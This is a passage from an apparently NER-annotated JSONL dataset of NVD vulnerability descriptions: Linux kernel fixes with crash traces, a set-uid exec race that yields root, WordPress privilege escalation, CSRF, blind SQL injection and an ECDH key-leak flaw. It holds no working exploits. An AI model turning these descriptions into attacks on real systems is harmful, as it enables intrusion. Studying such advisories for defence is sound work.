arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0x71/0x330 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\nRIP: 0033:0x7fb893d3108d\nCode: 28 c3 e8 46 1e 00 00 66 0f 1f 44 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b8 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007ffff61f2f38 EFLAGS: 00000246 ORIG_RAX: 0000000000000010\nRAX: ffffffffffffffda RBX: 00007ffff61f3138 RCX: 00007fb893d3108d\nRDX: 0000000020000040 RSI: 00000000c01070ce RDI: 0000000000000003\nRBP: 0000000000000001 R08: 0000000000000000 R09: 00007ffff61f3138\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000001\nR13: 00007ffff61f3128 R14: 00007fb893dae530 R15: 0000000000000001\n </TASK>", "spans": {"URL: https://lore.kernel.org/linux-block/20251212013510.3576091-1-kartikey406@gmail.com/": [[588, 671]], "DOMAIN: rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org": [[974, 1018]], "FILEPATH: /01/2014": [[1021, 1029]], "FILEPATH: /linux/slab.h": [[2213, 2226], [2263, 2276]], "FILEPATH: /nvme/host/pr.c": [[2328, 2343]], "FILEPATH: /fuzznvme_1/fuzznvme/linux-build/v6.19/./arch/x86/include/generated/asm/syscalls_64.h": [[2682, 2767]], "FILEPATH: /x86/entry/syscall_64.c": [[2791, 2814], [2857, 2880]], "FILEPATH: page_alloc.c": [[698, 710], [763, 775], [1084, 1096]], "FILEPATH: mempolicy.c": [[1922, 1933], [1981, 1992]], "FILEPATH: slub.c": [[2036, 2042], [2090, 2096], [2124, 2130], [2178, 2184]], "FILEPATH: ioctl.c": [[2375, 2382], [2437, 2444], [2481, 2488], [2507, 2514], [2546, 2553], [2586, 2593], [2639, 2646]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[929, 933]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-23244"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nexec: Fix ToCToU between perm check and set-uid/gid usage\n\nWhen opening a file for exec via do_filp_open(), permission checking is\ndone against the file's metadata at that moment, and on success, a file\npointer is passed back. Much later in the execve() code path, the file\nmetadata (specifically mode, uid, and gid) is used to determine if/how\nto set the uid and gid. However, those values may have changed since the\npermissions check, meaning the execution may gain unintended privileges.\n\nFor example, if a file could change permissions from executable and not\nset-id:\n\n---------x 1 root root 16048 Aug  7 13:16 target\n\nto set-id and non-executable:\n\n---S------ 1 root root 16048 Aug  7 13:16 target\n\nit is possible to gain root privileges when execution should have been\ndisallowed.\n\nWhile this race condition is rare in real-world scenarios, it has been\nobserved (and proven exploitable) when package managers are updating\nthe setuid bits of installed programs. Such files start with being\nworld-executable but then are adjusted to be group-exec with a set-uid\nbit. For example, \"chmod o-x,u+s target\" makes \"target\" executable only\nby uid \"root\" and gid \"cdrom\", while also becoming setuid-root:\n\n-rwxr-xr-x 1 root cdrom 16048 Aug  7 13:16 target\n\nbecomes:\n\n-rwsr-xr-- 1 root cdrom 16048 Aug  7 13:16 target\n\nBut racing the chmod means users without group \"cdrom\" membership can\nget the permission to execute \"target\" just before the chmod, and when\nthe chmod finishes, the exec reaches brpm_fill_uid(), and performs the\nsetuid to root, violating the expressed authorization of \"only cdrom\ngroup members can setuid to root\".\n\nRe-check that we still have execute permissions in case the metadata\nhas changed. It would be better to keep a copy from the perm-check time,\nbut until we can do that refactoring, the least-bad option is to do a\nfull inode_permission() call (under inode lock). It is understood that\nthis is safe against dead-locks, but hardly optimal.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: race condition": [[868, 882]], "VULNERABILITY: ToCToU": [[79, 85]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-43882"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nidpf: Fix RSS LUT NULL pointer crash on early ethtool operations\n\nThe RSS LUT is not initialized until the interface comes up, causing\nthe following NULL pointer crash when ethtool operations like rxhash on/off\nare performed before the interface is brought up for the first time.\n\nMove RSS LUT initialization from ndo_open to vport creation to ensure LUT\nis always available. This enables RSS configuration via ethtool before\nbringing the interface up. Simplify LUT management by maintaining all\nchanges in the driver's soft copy and programming zeros to the indirection\ntable when rxhash is disabled. Defer HW programming until the interface\ncomes up if it is down during rxhash and LUT configuration changes.\n\nSteps to reproduce:\n** Load idpf driver; interfaces will be created\n\tmodprobe idpf\n** Before bringing the interfaces up, turn rxhash off\n\tethtool -K eth2 rxhash off\n\n[89408.371875] BUG: kernel NULL pointer dereference, address: 0000000000000000\n[89408.371908] #PF: supervisor read access in kernel mode\n[89408.371924] #PF: error_code(0x0000) - not-present page\n[89408.371940] PGD 0 P4D 0\n[89408.371953] Oops: Oops: 0000 [#1] SMP NOPTI\n<snip>\n[89408.372052] RIP: 0010:memcpy_orig+0x16/0x130\n[89408.372310] Call Trace:\n[89408.372317]  <TASK>\n[89408.372326]  ? idpf_set_features+0xfc/0x180 [idpf]\n[89408.372363]  __netdev_update_features+0x295/0xde0\n[89408.372384]  ethnl_set_features+0x15e/0x460\n[89408.372406]  genl_family_rcv_msg_doit+0x11f/0x180\n[89408.372429]  genl_rcv_msg+0x1ad/0x2b0\n[89408.372446]  ? __pfx_ethnl_set_features+0x10/0x10\n[89408.372465]  ? __pfx_genl_rcv_msg+0x10/0x10\n[89408.372482]  netlink_rcv_skb+0x58/0x100\n[89408.372502]  genl_rcv+0x2c/0x50\n[89408.372516]  netlink_unicast+0x289/0x3e0\n[89408.372533]  netlink_sendmsg+0x215/0x440\n[89408.372551]  __sys_sendto+0x234/0x240\n[89408.372571]  __x64_sys_sendto+0x28/0x30\n[89408.372585]  x64_sys_call+0x1909/0x1da0\n[89408.372604]  do_syscall_64+0x7a/0xfa0\n[89408.373140]  ? clear_bhb_loop+0x60/0xb0\n[89408.373647]  entry_SYSCALL_64_after_hwframe+0x76/0x7e\n[89408.378887]  </TASK>\n<snip>", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[974, 998]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-22985"}}
{"text": "Read access violation in the III_dequantize_sample function in mpglibDBL/layer3.c in mp3gain through 1.5.2-r2 allows remote attackers to cause a denial of service (application crash) or possibly have unspecified other impact, a different vulnerability than CVE-2017-9872. CVE-2017-14409, and CVE-2018-10778.", "spans": {"CVE_ID: CVE-2017-9872": [[257, 270]], "CVE_ID: CVE-2017-14409": [[272, 286]], "CVE_ID: CVE-2018-10778": [[292, 306]], "FILEPATH: layer3.c": [[73, 81]], "VULNERABILITY: denial of service": [[145, 162]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-34085"}}
{"text": "The BuddyPress Groupblog plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.9.3. This is due to the group blog settings handler accepting the `groupblog-blogid`, `default-member`, and `groupblog-silent-add` parameters from user input without proper authorization checks. The `groupblog-blogid` parameter allows any group admin (including Subscribers who create their own group) to associate their group with any blog on the Multisite network, including the main site (blog ID 1). The `default-member` parameter accepts any WordPress role, including `administrator`, without validation against a whitelist. When combined with `groupblog-silent-add`, any user who joins the attacker's group is automatically added to the targeted blog with the injected role. This makes it possible for authenticated attackers, with Subscriber-level access and above, to escalate any user (including themselves via a second account) to Administrator on the main site of the Multisite network.", "spans": {"SYSTEM: WordPress": [[36, 45], [571, 580]], "VULNERABILITY: Privilege Escalation": [[63, 83]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-5144"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nPCI/MSI: Fix UAF in msi_capability_init\n\nKFENCE reports the following UAF:\n\n BUG: KFENCE: use-after-free read in __pci_enable_msi_range+0x2c0/0x488\n\n Use-after-free read at 0x0000000024629571 (in kfence-#12):\n  __pci_enable_msi_range+0x2c0/0x488\n  pci_alloc_irq_vectors_affinity+0xec/0x14c\n  pci_alloc_irq_vectors+0x18/0x28\n\n kfence-#12: 0x0000000008614900-0x00000000e06c228d, size=104, cache=kmalloc-128\n\n allocated by task 81 on cpu 7 at 10.808142s:\n  __kmem_cache_alloc_node+0x1f0/0x2bc\n  kmalloc_trace+0x44/0x138\n  msi_alloc_desc+0x3c/0x9c\n  msi_domain_insert_msi_desc+0x30/0x78\n  msi_setup_msi_desc+0x13c/0x184\n  __pci_enable_msi_range+0x258/0x488\n  pci_alloc_irq_vectors_affinity+0xec/0x14c\n  pci_alloc_irq_vectors+0x18/0x28\n\n freed by task 81 on cpu 7 at 10.811436s:\n  msi_domain_free_descs+0xd4/0x10c\n  msi_domain_free_locked.part.0+0xc0/0x1d8\n  msi_domain_alloc_irqs_all_locked+0xb4/0xbc\n  pci_msi_setup_msi_irqs+0x30/0x4c\n  __pci_enable_msi_range+0x2a8/0x488\n  pci_alloc_irq_vectors_affinity+0xec/0x14c\n  pci_alloc_irq_vectors+0x18/0x28\n\nDescriptor allocation done in:\n__pci_enable_msi_range\n    msi_capability_init\n        msi_setup_msi_desc\n            msi_insert_msi_desc\n                msi_domain_insert_msi_desc\n                    msi_alloc_desc\n                        ...\n\nFreed in case of failure in __msi_domain_alloc_locked()\n__pci_enable_msi_range\n    msi_capability_init\n        pci_msi_setup_msi_irqs\n            msi_domain_alloc_irqs_all_locked\n                msi_domain_alloc_locked\n                    __msi_domain_alloc_locked => fails\n                    msi_domain_free_locked\n                        ...\n\nThat failure propagates back to pci_msi_setup_msi_irqs() in\nmsi_capability_init() which accesses the descriptor for unmasking in the\nerror exit path.\n\nCure it by copying the descriptor and using the copy for the error exit path\nunmask operation.\n\n[ tglx: Massaged change log ]", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[159, 173]], "VULNERABILITY: Use-after-free": [[219, 233]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-41096"}}
{"text": "cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to 46.0.5, the public_key_from_numbers (or EllipticCurvePublicNumbers.public_key()), EllipticCurvePublicNumbers.public_key(), load_der_public_key() and load_pem_public_key() functions do not verify that the point belongs to the expected prime-order subgroup of the curve. This missing validation allows an attacker to provide a public key point P from a small-order subgroup. This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as S = [victim_private_key]P via ECDH, this leaks information about victim_private_key mod (small_subgroup_order). For curves with cofactor > 1, this reveals the least significant bits of the private key. When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup. Only SECT curves are impacted by this. This vulnerability is fixed in 46.0.5.", "spans": {"SYSTEM: Python": [[85, 91]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-26007"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5e: Track xmit submission to PTP WQ after populating metadata map\n\nEnsure the skb is available in metadata mapping to skbs before tracking the\nmetadata index for detecting undelivered CQEs. If the metadata index is put\nin the tracking list before putting the skb in the map, the metadata index\nmight be used for detecting undelivered CQEs before the relevant skb is\navailable in the map, which can lead to a null-ptr-deref.\n\nLog:\n    general protection fault, probably for non-canonical address 0xdffffc0000000005: 0000 [#1] SMP KASAN\n    KASAN: null-ptr-deref in range [0x0000000000000028-0x000000000000002f]\n    CPU: 0 PID: 1243 Comm: kworker/0:2 Not tainted 6.6.0-rc4+ #108\n    Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org 04/01/2014\n    Workqueue: events mlx5e_rx_dim_work [mlx5_core]\n    RIP: 0010:mlx5e_ptp_napi_poll+0x9a4/0x2290 [mlx5_core]\n    Code: 8c 24 38 cc ff ff 4c 8d 3c c1 4c 89 f9 48 c1 e9 03 42 80 3c 31 00 0f 85 97 0f 00 00 4d 8b 3f 49 8d 7f 28 48 89 f9 48 c1 e9 03 <42> 80 3c 31 00 0f 85 8b 0f 00 00 49 8b 47 28 48 85 c0 0f 84 05 07\n    RSP: 0018:ffff8884d3c09c88 EFLAGS: 00010206\n    RAX: 0000000000000069 RBX: ffff8881160349d8 RCX: 0000000000000005\n    RDX: ffffed10218f48cf RSI: 0000000000000004 RDI: 0000000000000028\n    RBP: ffff888122707700 R08: 0000000000000001 R09: ffffed109a781383\n    R10: 0000000000000003 R11: 0000000000000003 R12: ffff88810c7a7a40\n    R13: ffff888122707700 R14: dffffc0000000000 R15: 0000000000000000\n    FS:  0000000000000000(0000) GS:ffff8884d3c00000(0000) knlGS:0000000000000000\n    CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n    CR2: 00007f4f878dd6e0 CR3: 000000014d108002 CR4: 0000000000370eb0\n    DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n    DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n    Call Trace:\n    <IRQ>\n    ? die_addr+0x3c/0xa0\n    ? exc_general_protection+0x144/0x210\n    ? asm_exc_general_protection+0x22/0x30\n    ? mlx5e_ptp_napi_poll+0x9a4/0x2290 [mlx5_core]\n    ? mlx5e_ptp_napi_poll+0x8f6/0x2290 [mlx5_core]\n    __napi_poll.constprop.0+0xa4/0x580\n    net_rx_action+0x460/0xb80\n    ? _raw_spin_unlock_irqrestore+0x32/0x60\n    ? __napi_poll.constprop.0+0x580/0x580\n    ? tasklet_action_common.isra.0+0x2ef/0x760\n    __do_softirq+0x26c/0x827\n    irq_exit_rcu+0xc2/0x100\n    common_interrupt+0x7f/0xa0\n    </IRQ>\n    <TASK>\n    asm_common_interrupt+0x22/0x40\n    RIP: 0010:__kmem_cache_alloc_node+0xb/0x330\n    Code: 41 5d 41 5e 41 5f c3 8b 44 24 14 8b 4c 24 10 09 c8 eb d5 e8 b7 43 ca 01 0f 1f 80 00 00 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 <41> 56 41 89 d6 41 55 41 89 f5 41 54 49 89 fc 53 48 83 e4 f0 48 83\n    RSP: 0018:ffff88812c4079c0 EFLAGS: 00000246\n    RAX: 1ffffffff083c7fe RBX: ffff888100042dc0 RCX: 0000000000000218\n    RDX: 00000000ffffffff RSI: 0000000000000dc0 RDI: ffff888100042dc0\n    RBP: ffff88812c4079c8 R08: ffffffffa0289f96 R09: ffffed1025880ea9\n    R10: ffff888138839f80 R11: 0000000000000002 R12: 0000000000000dc0\n    R13: 0000000000000100 R14: 000000000000008c R15: ffff8881271fc450\n    ? cmd_exec+0x796/0x2200 [mlx5_core]\n    kmalloc_trace+0x26/0xc0\n    cmd_exec+0x796/0x2200 [mlx5_core]\n    mlx5_cmd_do+0x22/0xc0 [mlx5_core]\n    mlx5_cmd_exec+0x17/0x30 [mlx5_core]\n    mlx5_core_modify_cq_moderation+0x139/0x1b0 [mlx5_core]\n    ? mlx5_add_cq_to_tasklet+0x280/0x280 [mlx5_core]\n    ? lockdep_set_lock_cmp_fn+0x190/0x190\n    ? process_one_work+0x659/0x1220\n    mlx5e_rx_dim_work+0x9d/0x100 [mlx5_core]\n    process_one_work+0x730/0x1220\n    ? lockdep_hardirqs_on_prepare+0x400/0x400\n    ? max_active_store+0xf0/0xf0\n    ? assign_work+0x168/0x240\n    worker_thread+0x70f/0x12d0\n    ? __kthread_parkme+0xd1/0x1d0\n    ? process_one_work+0x1220/0x1220\n    kthread+0x2d9/0x3b0\n    ? kthread_complete_and_exit+0x20/0x20\n    ret_from_fork+0x2d/0x70\n    ? kthread_complete_and_exit+0x20/0x20\n    ret_from_fork_as\n---truncated---", "spans": {"DOMAIN: rel-1.13.0-0-gf21b5a4aeb02-prebuilt.qemu.org": [[814, 858]], "FILEPATH: /01/2014": [[861, 869]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[772, 776]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-52782"}}
{"text": "Admidio is an open-source user management solution. In versions 5.0.6 and below, the save_membership action in modules/profile/profile_function.php saves changes to a member's role membership start and end dates but does not validate the CSRF token. The handler checks stop_membership and remove_former_membership against the CSRF token but omits save_membership from that check. Because membership UUIDs appear in the HTML source visible to authenticated users, an attacker can embed a crafted POST form on any external page and trick a role leader into submitting it, silently altering membership dates for any member of roles the victim leads. A role leader's session can be silently exploited via CSRF to manipulate any member's membership dates, terminating access by backdating, covertly extending unauthorized access, or revoking role-restricted features, all without confirmation, notification, or administrative approval. This issue has been fixed in version 5.0.7.", "spans": {"FILEPATH: /profile/profile_function.php": [[118, 147]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32755"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nvhost-vdpa: fix an iotlb memory leak\n\nBefore commit 3d5698793897 (\"vhost-vdpa: introduce asid based IOTLB\")\nwe called vhost_vdpa_iotlb_unmap(v, iotlb, 0ULL, 0ULL - 1) during\nrelease to free all the resources allocated when processing user IOTLB\nmessages through vhost_vdpa_process_iotlb_update().\nThat commit changed the handling of IOTLB a bit, and we accidentally\nremoved some code called during the release.\n\nWe partially fixed this with commit 037d4305569a (\"vhost-vdpa: call\nvhost_vdpa_cleanup during the release\") but a potential memory leak is\nstill there as showed by kmemleak if the application does not send\nVHOST_IOTLB_INVALIDATE or crashes:\n\n  unreferenced object 0xffff888007fbaa30 (size 16):\n    comm \"blkio-bench\", pid 914, jiffies 4294993521 (age 885.500s)\n    hex dump (first 16 bytes):\n      40 73 41 07 80 88 ff ff 00 00 00 00 00 00 00 00  @sA.............\n    backtrace:\n      [<0000000087736d2a>] kmem_cache_alloc_trace+0x142/0x1c0\n      [<0000000060740f50>] vhost_vdpa_process_iotlb_msg+0x68c/0x901 [vhost_vdpa]\n      [<0000000083e8e205>] vhost_chr_write_iter+0xc0/0x4a0 [vhost]\n      [<000000008f2f414a>] vhost_vdpa_chr_write_iter+0x18/0x20 [vhost_vdpa]\n      [<00000000de1cd4a0>] vfs_write+0x216/0x4b0\n      [<00000000a2850200>] ksys_write+0x71/0xf0\n      [<00000000de8e720b>] __x64_sys_write+0x19/0x20\n      [<0000000018b12cbb>] do_syscall_64+0x3f/0x90\n      [<00000000986ec465>] entry_SYSCALL_64_after_hwframe+0x63/0xcd\n\nLet's fix this calling vhost_vdpa_iotlb_unmap() on the whole range in\nvhost_vdpa_remove_as(). We move that call before vhost_dev_cleanup()\nsince we need a valid v->vdev.mm in vhost_vdpa_pa_unmap().\nvhost_iotlb_reset() call can be removed, since vhost_vdpa_iotlb_unmap()\non the whole range removes all the entries.\n\nThe kmemleak log reported was observed with a vDPA device that has `use_va`\nset to true (e.g. VDUSE). This patch has been tested with both types of\ndevices.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[94, 105], [605, 616]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50738"}}
{"text": "Metabase is an open source business analytics engine. To edit SQL Snippets, Metabase should have required people to be in at least one group with native query editing permissions to a database–but affected versions of Metabase didn't enforce that requirement. This lack of enforcement meant that: Anyone–including people in sandboxed groups–could edit SQL snippets. They could edit snippets via the API or, in the application UI, when editing the metadata for a model based on a SQL question, and people in sandboxed groups could edit a SQL snippet used in a query that creates their sandbox. If the snippet contained logic that restricted which data that person could see, they could potentially edit that snippet and change their level of data access. The permissions model for SQL snippets has been fixed in Metabase versions 0.46.3, 0.45.4, 0.44.7, 1.46.3, 1.45.4, and 1.44.7. Users are advised to upgrade. Users unable to upgrade should ensure that SQL queries used to create sandboxes exclude SQL snippets.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-32680"}}
{"text": "PHP AddressBook 9.0.0.1 contains a time-based blind SQL injection vulnerability that allows remote attackers to manipulate database queries through the 'id' parameter. Attackers can inject crafted SQL statements with time delays to extract information by observing response times in the photo.php endpoint.", "spans": {"IP_ADDRESS: 9.0.0.1": [[16, 23]], "FILEPATH: photo.php": [[287, 296]], "SYSTEM: PHP": [[0, 3]], "VULNERABILITY: SQL injection": [[52, 65]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-37083"}}
{"text": "x86: Speculative vulnerabilities with bare (non-shim) 32-bit PV guests 32-bit x86 PV guest kernels run in ring 1. At the time when Xen was developed, this area of the i386 architecture was rarely used, which is why Xen was able to use it to implement paravirtualisation, Xen's novel approach to virtualization. In AMD64, Xen had to use a different implementation approach, so Xen does not use ring 1 to support 64-bit guests. With the focus now being on 64-bit systems, and the availability of explicit hardware support for virtualization, fixing speculation issues in ring 1 is not a priority for processor companies. Indirect Branch Restricted Speculation (IBRS) is an architectural x86 extension put together to combat speculative execution sidechannel attacks, including Spectre v2. It was retrofitted in microcode to existing CPUs. For more details on Spectre v2, see: http://xenbits.xen.org/xsa/advisory-254.html However, IBRS does not architecturally protect ring 0 from predictions learnt in ring 1. For more details, see: https://software.intel.com/security-software-guidance/deep-dives/deep-dive-indirect-branch-restricted-speculation Similar situations may exist with other mitigations for other kinds of speculative execution attacks. The situation is quite likely to be similar for speculative execution attacks which have yet to be discovered, disclosed, or mitigated.", "spans": {"URL: http://xenbits.xen.org/xsa/advisory-254.html": [[874, 918]], "URL: https://software.intel.com/security-software-guidance/deep-dives/deep-dive-indirect-branch-restricted-speculation": [[1031, 1144]], "SYSTEM: Xen": [[131, 134], [215, 218], [271, 274], [321, 324], [376, 379]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-28689"}}
{"text": "An Uncontrolled Resource Consumption vulnerability in the kernel of Juniper Networks Junos OS allows an unauthenticated network based attacker to cause 100% CPU load and the device to become unresponsive by sending a flood of traffic to the out-of-band management ethernet port. Continued receipted of a flood will create a sustained Denial of Service (DoS) condition. Once the flood subsides the system will recover by itself. An indication that the system is affected by this issue would be that an irq handled by the fman process is shown to be using a high percentage of CPU cycles like in the following example output: user@host> show system processes extensive ... PID USERNAME PRI NICE SIZE RES STATE TIME WCPU COMMAND 31 root -84 -187 0K 16K WAIT 22.2H 56939.26% irq96: fman0 This issue affects Juniper Networks Junos OS: All versions prior to 18.3R3-S6; 18.4 versions prior to 18.4R2-S9, 18.4R3-S9; 19.1 versions prior to 19.1R2-S3, 19.1R3-S7; 19.2 versions prior to 19.2R1-S7, 19.2R3-S3; 19.3 versions prior to 19.3R2-S7, 19.3R3-S4; 19.4 versions prior to 19.4R2-S5, 19.4R3-S5; 20.1 versions prior to 20.1R3-S1; 20.2 versions prior to 20.2R3-S2; 20.3 versions prior to 20.3R3-S1; 20.4 versions prior to 20.4R2-S2, 20.4R3; 21.1 versions prior to 21.1R2; 21.2 versions prior to 21.2R1-S1, 21.2R2.", "spans": {"ORGANIZATION: Juniper": [[68, 75], [803, 810]], "VULNERABILITY: Uncontrolled Resource Consumption": [[3, 36]], "VULNERABILITY: Denial of Service": [[334, 351]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-22161"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Fix kmemleak warning for percpu hashmap\n\nVlad Poenaru reported the following kmemleak issue:\n\n  unreferenced object 0x606fd7c44ac8 (size 32):\n    backtrace (crc 0):\n      pcpu_alloc_noprof+0x730/0xeb0\n      bpf_map_alloc_percpu+0x69/0xc0\n      prealloc_init+0x9d/0x1b0\n      htab_map_alloc+0x363/0x510\n      map_create+0x215/0x3a0\n      __sys_bpf+0x16b/0x3e0\n      __x64_sys_bpf+0x18/0x20\n      do_syscall_64+0x7b/0x150\n      entry_SYSCALL_64_after_hwframe+0x4b/0x53\n\nFurther investigation shows the reason is due to not 8-byte aligned\nstore of percpu pointer in htab_elem_set_ptr():\n  *(void __percpu **)(l->key + key_size) = pptr;\n\nNote that the whole htab_elem alignment is 8 (for x86_64). If the key_size\nis 4, that means pptr is stored in a location which is 4 byte aligned but\nnot 8 byte aligned. In mm/kmemleak.c, scan_block() scans the memory based\non 8 byte stride, so it won't detect above pptr, hence reporting the memory\nleak.\n\nIn htab_map_alloc(), we already have\n\n        htab->elem_size = sizeof(struct htab_elem) +\n                          round_up(htab->map.key_size, 8);\n        if (percpu)\n                htab->elem_size += sizeof(void *);\n        else\n                htab->elem_size += round_up(htab->map.value_size, 8);\n\nSo storing pptr with 8-byte alignment won't cause any problem and can fix\nkmemleak too.\n\nThe issue can be reproduced with bpf selftest as well:\n  1. Enable CONFIG_DEBUG_KMEMLEAK config\n  2. Add a getchar() before skel destroy in test_hash_map() in prog_tests/for_each.c.\n     The purpose is to keep map available so kmemleak can be detected.\n  3. run './test_progs -t for_each/hash_map &' and a kmemleak should be reported.", "spans": {"FILEPATH: kmemleak.c": [[883, 893]], "FILEPATH: for_each.c": [[1578, 1588]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-37807"}}
{"text": "Flysystem is an open source file storage library for PHP. The whitespace normalisation using in 1.x and 2.x removes any unicode whitespace. Under certain specific conditions this could potentially allow a malicious user to execute code remotely. The conditions are: A user is allowed to supply the path or filename of an uploaded file, the supplied path or filename is not checked against unicode chars, the supplied pathname checked against an extension deny-list, not an allow-list, the supplied path or filename contains a unicode whitespace char in the extension, the uploaded file is stored in a directory that allows PHP code to be executed. Given these conditions are met a user can upload and execute arbitrary code on the system under attack. The unicode whitespace removal has been replaced with a rejection (exception). For 1.x users, upgrade to 1.1.4. For 2.x users, upgrade to 2.1.1.", "spans": {"SYSTEM: PHP": [[53, 56], [623, 626]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-32708"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm: Check output polling initialized before disabling\n\nIn drm_kms_helper_poll_disable() check if output polling\nsupport is initialized before disabling polling. If not flag\nthis as a warning.\nAdditionally in drm_mode_config_helper_suspend() and\ndrm_mode_config_helper_resume() calls, that re the callers of these\nfunctions, avoid invoking them if polling is not initialized.\nFor drivers like hyperv-drm, that do not initialize connector\npolling, if suspend is called without this check, it leads to\nsuspend failure with following stack\n[  770.719392] Freezing remaining freezable tasks ... (elapsed 0.001 seconds) done.\n[  770.720592] printk: Suspending console(s) (use no_console_suspend to debug)\n[  770.948823] ------------[ cut here ]------------\n[  770.948824] WARNING: CPU: 1 PID: 17197 at kernel/workqueue.c:3162 __flush_work.isra.0+0x212/0x230\n[  770.948831] Modules linked in: rfkill nft_counter xt_conntrack xt_owner udf nft_compat crc_itu_t nft_fib_inet nft_fib_ipv4 nft_fib_ipv6 nft_fib nft_reject_inet nf_reject_ipv4 nf_reject_ipv6 nft_reject nft_ct nft_chain_nat nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 ip_set nf_tables nfnetlink vfat fat mlx5_ib ib_uverbs ib_core mlx5_core intel_rapl_msr intel_rapl_common kvm_amd ccp mlxfw kvm psample hyperv_drm tls drm_shmem_helper drm_kms_helper irqbypass pcspkr syscopyarea sysfillrect sysimgblt hv_balloon hv_utils joydev drm fuse xfs libcrc32c pci_hyperv pci_hyperv_intf sr_mod sd_mod cdrom t10_pi sg hv_storvsc scsi_transport_fc hv_netvsc serio_raw hyperv_keyboard hid_hyperv crct10dif_pclmul crc32_pclmul crc32c_intel hv_vmbus ghash_clmulni_intel dm_mirror dm_region_hash dm_log dm_mod\n[  770.948863] CPU: 1 PID: 17197 Comm: systemd-sleep Not tainted 5.14.0-362.2.1.el9_3.x86_64 #1\n[  770.948865] Hardware name: Microsoft Corporation Virtual Machine/Virtual Machine, BIOS Hyper-V UEFI Release v4.1 05/09/2022\n[  770.948866] RIP: 0010:__flush_work.isra.0+0x212/0x230\n[  770.948869] Code: 8b 4d 00 4c 8b 45 08 89 ca 48 c1 e9 04 83 e2 08 83 e1 0f 83 ca 02 89 c8 48 0f ba 6d 00 03 e9 25 ff ff ff 0f 0b e9 4e ff ff ff <0f> 0b 45 31 ed e9 44 ff ff ff e8 8f 89 b2 00 66 66 2e 0f 1f 84 00\n[  770.948870] RSP: 0018:ffffaf4ac213fb10 EFLAGS: 00010246\n[  770.948871] RAX: 0000000000000000 RBX: 0000000000000000 RCX: ffffffff8c992857\n[  770.948872] RDX: 0000000000000001 RSI: 0000000000000001 RDI: ffff9aad82b00330\n[  770.948873] RBP: ffff9aad82b00330 R08: 0000000000000000 R09: ffff9aad87ee3d10\n[  770.948874] R10: 0000000000000200 R11: 0000000000000000 R12: ffff9aad82b00330\n[  770.948874] R13: 0000000000000001 R14: 0000000000000000 R15: 0000000000000001\n[  770.948875] FS:  00007ff1b2f6bb40(0000) GS:ffff9aaf37d00000(0000) knlGS:0000000000000000\n[  770.948878] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[  770.948878] CR2: 0000555f345cb666 CR3: 00000001462dc005 CR4: 0000000000370ee0\n[  770.948879] Call Trace:\n[  770.948880]  <TASK>\n[  770.948881]  ? show_trace_log_lvl+0x1c4/0x2df\n[  770.948884]  ? show_trace_log_lvl+0x1c4/0x2df\n[  770.948886]  ? __cancel_work_timer+0x103/0x190\n[  770.948887]  ? __flush_work.isra.0+0x212/0x230\n[  770.948889]  ? __warn+0x81/0x110\n[  770.948891]  ? __flush_work.isra.0+0x212/0x230\n[  770.948892]  ? report_bug+0x10a/0x140\n[  770.948895]  ? handle_bug+0x3c/0x70\n[  770.948898]  ? exc_invalid_op+0x14/0x70\n[  770.948899]  ? asm_exc_invalid_op+0x16/0x20\n[  770.948903]  ? __flush_work.isra.0+0x212/0x230\n[  770.948905]  __cancel_work_timer+0x103/0x190\n[  770.948907]  ? _raw_spin_unlock_irqrestore+0xa/0x30\n[  770.948910]  